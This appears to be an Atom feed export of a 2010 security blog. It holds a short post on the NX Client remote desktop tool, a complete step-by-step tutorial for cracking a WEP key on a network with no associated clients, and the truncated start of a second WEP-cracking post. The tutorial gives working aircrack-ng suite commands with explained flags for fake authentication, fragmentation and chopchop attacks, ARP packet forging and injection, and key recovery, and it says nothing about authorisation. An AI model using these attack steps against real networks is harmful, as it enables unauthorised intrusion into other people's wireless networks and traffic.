<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-4484124311161869051</id><updated>2024-09-04T21:25:21.467-07:00</updated><category term="Basics"/><category term="Information Gathering"/><category term="Wireless Hacking"/><category term="software"/><category term="ARP Spoofing"/><category term="Exploitdb navigation"/><category term="NX Client"/><category term="Privilege Escalation"/><category term="Web Scanning"/><category term="Wireshark"/><category term="nmap commands"/><title type='text'>Network Security</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://mv-security.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484124311161869051/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://mv-security.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>17</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-4484124311161869051.post-8229459314944738935</id><published>2010-03-26T11:04:00.000-07:00</published><updated>2010-03-26T11:04:04.066-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="NX Client"/><title type='text'>NX Client</title><content type='html'>NX Client is a remote deskto client/server - runs natively over ssh&lt;br /&gt;
&lt;br /&gt;
It is used for encrypted remote administration sessions and remote desktop - can replace VLC&lt;br /&gt;
&lt;br /&gt;
platforms : Windows, Linux, Unix</content><link rel='replies' type='application/atom+xml' href='http://mv-security.blogspot.com/feeds/8229459314944738935/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mv-security.blogspot.com/2010/03/nx-client.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484124311161869051/posts/default/8229459314944738935'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484124311161869051/posts/default/8229459314944738935'/><link rel='alternate' type='text/html' href='http://mv-security.blogspot.com/2010/03/nx-client.html' title='NX Client'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4484124311161869051.post-3409790733833705068</id><published>2010-02-13T08:12:00.000-08:00</published><updated>2010-03-18T02:49:36.914-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Wireless Hacking"/><title type='text'>WEP Crack no wireless clients</title><content type='html'>&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &amp;quot;Lucida Grande&amp;quot;, Verdana, Lucida, Helvetica, Arial, sans-serif;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;There are many times when a wireless network has no wireless clients associated with it and there are no ARP requests coming from the wired side.&amp;nbsp;This tutorial describes how to crack the WEP key when there are no wireless clients and there are no ARP requests coming from the wired side.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &amp;quot;Lucida Grande&amp;quot;, Verdana, Lucida, Helvetica, Arial, sans-serif;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &amp;quot;Lucida Grande&amp;quot;, Verdana, Lucida, Helvetica, Arial, sans-serif;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #444444;&quot;&gt;If there ARP requests being broadcast from the wire side, then the standard&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;a class=&quot;wikilink1&quot; href=&quot;http://www.blogger.com/doku.php?id=fake_authentication&quot; style=&quot;margin: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: none;&quot; title=&quot;fake_authentication&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #444444;&quot;&gt;fake authentication&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #444444;&quot;&gt;&amp;nbsp;combined with&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;a class=&quot;wikilink1&quot; href=&quot;http://www.blogger.com/doku.php?id=arp-request_reinjection&quot; style=&quot;margin: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: none;&quot; title=&quot;arp-request_reinjection&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #444444;&quot;&gt;ARP request replay technique&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #444444;&quot;&gt;&amp;nbsp;may be used.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &amp;quot;Lucida Grande&amp;quot;, Verdana, Lucida, Helvetica, Arial, sans-serif;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &amp;quot;Lucida Grande&amp;quot;, Verdana, Lucida, Helvetica, Arial, sans-serif;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style=&quot;margin: 0px 0px 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;In this tutorial, here is what was used:&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0px 0px 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;Wireless adaptor Alfa AWUS036H&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;Backtrack 4&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 19px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 19px;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 19px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-large;&quot;&gt;&lt;b&gt;Step 1&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt; - Start the wireless interface in monitor mode on AP channel&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: lime;&quot;&gt;&amp;nbsp;airmon-ng start wlan1 9&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-large;&quot;&gt;&lt;b&gt;Step 2&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt; - Use aireplay-ng to do a fake authentication with the access point&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: lime;&quot;&gt;&amp;nbsp;aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 wlan1&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;-1 means fake authentication&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;0 reassociation timing in seconds&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;Or another variation for picky access points:&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 wlan1&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;6000 - Reauthenticate very 6000 seconds. The long period also causes keep alive packets to be sent&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;-o 1 - Send only one set of packets at a time. Default is multiple and this confuses some APs&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;-q 10 - Send keep alive packets every 10 seconds.&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;Troubleshooting Tips&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;Some access points are configured to only allow selected MAC addresses to associate and connect. If this is the case, you will not be able to successfully do fake authentication unless you know one of the MAC addresses on the allowed list.&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;If at any time you wish to confirm you are properly associated is to use tcpdump and look at the packets. Start another session and?&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;tcpdump -n -e -s0 -vvv -i wlan1&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;Here is a typical tcpdump error message you are looking for:&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:09:5B:EC:EE:F2 SA:00:14:6c:7e:40:80 &amp;nbsp; DeAuthentication: Class 3 frame received from nonassociated station&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;Notice that the access point (00:14:6c:7e:40:80) is telling the source (00:09:5B:EC:EE:F2) you are not associated. Meaning, the AP will not process or accept the injected packets.&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;If you want to select only the DeAuth packets with tcpdump then you can use: ?tcpdump -n -e -s0 -vvv -i wlan1 | grep -i DeAuth?. You may need to tweak the phrase ?DeAuth? to pick out the exact packets you want&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-large;&quot;&gt;&lt;b&gt;Step 3 &lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;- Use aireplay-ng chopchop or fragmenation attack to obtain PRGA&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;The objective of the chopchop and fragmentation attacks is to obtain a PRGA (pseudo random generation algorithm) file. This PRGA is not the WEP key and cannot be used to decrypt packets. However, it can be used to create new packets for injection. The creation of new packets will be covered later in the tutorial.&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;Either chopchop or fragmentation attacks can be to obtain the PRGA bit file. The result is the same so use whichever one works for you.&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;We will cover the fragmentation technique first. Start another console session and run:&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: lime;&quot;&gt;aireplay-ng -5 -b 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;-5 means the fragmentation attack&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;Success! The file ?fragment-0203-180343.xor? can then be used in the next step to generate an arp packet.&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;If the fragmentation attack was not successful, you can then try the chopchop technique next. Run:&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: lime;&quot;&gt;aireplay-ng -4 -h 00:09:5B:EC:EE:F2 -b 00:14:6C:7E:40:80 ath0&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;-4 means the chopchop attack&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;Success! The file ?replay_dec-0201-191706.xor? above can then be used in the next step to generate an arp packet.&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;Helpful Tips&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;Be sure the packet is 68 or more bytes otherwise you may not have enough PRGA data to subsequently generate a packet. The PRGA captured has to equal or greater then the packet length we want to generate.&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;At home, to generate some packets to force chopchop to start, ping a nonexistent IP on your network using a wired client. This forces an arp to be broadcast and this will show up in chopchop to be used.&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-large;&quot;&gt;&lt;b&gt;Step 4&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt; - Use packetforge-ng to create an arp packet&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;In the previous step, we obtained PRGA. It does not matter which attack generated the PRGA, both are equal. This PRGA is stored in the files ending with ?xor?. We can then use this PRGA to generate a packet for injection. We will be generating an arp packet for injection. The objective is to have the access point rebroadcast the injected arp packet. When it rebroadcasts it, a new IV is obtained. All these new IVs will ultimately be used to crack the WEP key.&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;But first, lets generate the arp packet for injection by entering:&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: lime;&quot;&gt;packetforge-ng -0 -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 -k 255.255.255.255 -l 255.255.255.255 -y fragment-0203-180343.xor -w arp-request&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;-0 means generate an arp packet&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;-k 255.255.255.255 is the destination IP (most APs respond to 255.255.255.255)&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;-l 255.255.255.255 is the source IP (most APs respond to 255.255.255.255)&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;-y fragment-0203-180343.xor is file to read the PRGA from&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;-w arp-request is name of file to write the arp packet to&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;The system will respond:&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;Wrote packet to: arp-request&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-large;&quot;&gt;&lt;b&gt;Step 5&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt; - Start airodump-ng&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;Open another console session to capture the generated IVs. Then enter:&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: lime;&quot;&gt;airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w capture ath0&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;-c 9 is the channel for the wireless network&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-large;&quot;&gt;Step 6&lt;/span&gt;&lt;/b&gt; - Inject the arp packet&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;Using the console session where you generated the arp packet, enter:&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: lime;&quot;&gt;aireplay-ng -2 -r arp-request ath0&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;-2 means use interactive frame selection&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;-r arp-request defines the file name from which to read the arp packet&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-large;&quot;&gt;Step 7&lt;/span&gt;&lt;/b&gt;&amp;nbsp;- Run aircrack-ng to obtain the WEP key&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;Start another console session and enter:&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: lime;&quot;&gt;aircrack-ng -b 00:14:6C:7E:40:80 capture*.cap&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;capture*.cap selects all dump files starting with ?capture? and ending in ?cap?.&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;-b 00:14:6C:7E:40:80 selects the one access point we are interested in&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;You can run this while generating packets. In a short time, the WEP key will be calculated and presented. Using the PTW method, 40-bit WEP can be cracked with as few as 20,000 data packets and 104-bit WEP with 40,000 data packets. As a reminder, the requirement is that you capture the full packet with airodump-ng. Meaning, do not use the ?--ivs? option.&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: normal;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mv-security.blogspot.com/feeds/3409790733833705068/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mv-security.blogspot.com/2010/02/wep-crack-no-wireless-clients.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484124311161869051/posts/default/3409790733833705068'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484124311161869051/posts/default/3409790733833705068'/><link rel='alternate' type='text/html' href='http://mv-security.blogspot.com/2010/02/wep-crack-no-wireless-clients.html' title='WEP Crack no wireless clients'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4484124311161869051.post-7132860534137164976</id><published>2010-02-12T06:06:00.000-08:00</published><updated>2010-03-18T02:49:36.938-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Wireless Hacking"/><title type='text'>Simple WEP Crack</title><content type='html'>&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Arial; font-size: small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 13px;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Overview&lt;br /&gt;&lt;div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;To crack the WEP key for an access point, we need to gather lots of initialization vectors (IVs). Normal network traffic does not typically generate these IVs very quickly. Theoretically, if you are patient, you can gather sufficient IVs to crack the WEP key by simply listening to the network traffic and saving them. Since none of us are patient, we use a technique called injection to speed up the process. Injection involves having the access point (AP) resend selected packets over and over very rapidly. This allows us to capture a large number of IVs in a short period of time.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Equipments used&lt;/b&gt;&lt;br /&gt;Wifi Adaptor : Alfa AWUS036H (available in ebay)&lt;br /&gt;Software : Backtrack 4 (Free download from backtrack-linux.org)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-large;&quot;&gt;&lt;b&gt;Step 1&lt;/b&gt;&lt;/span&gt; - Start the wireless interface in monitor mode on AP channel&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: lime;&quot;&gt;airmon-ng start wlan1 6&lt;/span&gt;&lt;/div&gt;&lt;div&gt;starts wifi interface in channel 6&lt;/div&gt;&lt;div&gt;&lt;br 